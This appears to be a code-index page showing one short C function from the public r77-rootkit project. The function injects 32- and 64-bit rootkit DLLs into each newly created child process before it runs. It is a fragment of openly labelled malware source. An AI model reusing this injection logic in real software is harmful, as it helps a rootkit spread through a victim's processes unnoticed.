MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / ChildProcessCallback

Function ChildProcessCallback

Service/Service.c:129–139  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

127}
128
129VOID ChildProcessCallback(DWORD processId)
130{
131 // Hook the newly created child processes before it is actually started.
132 // After this function returns, the original NtResumeThread is called.
133
134 if (!IsInjectionPaused)
135 {
136 InjectDll(processId, RootkitDll32, RootkitDll32Size);
137 InjectDll(processId, RootkitDll64, RootkitDll64Size);
138 }
139}
140VOID NewProcessCallback(DWORD processId)
141{
142 // Hook new processes that might have been missed by child process hooking.

Callers

nothing calls this directly

Calls 1

InjectDllFunction · 0.85

Tested by

no test coverage detected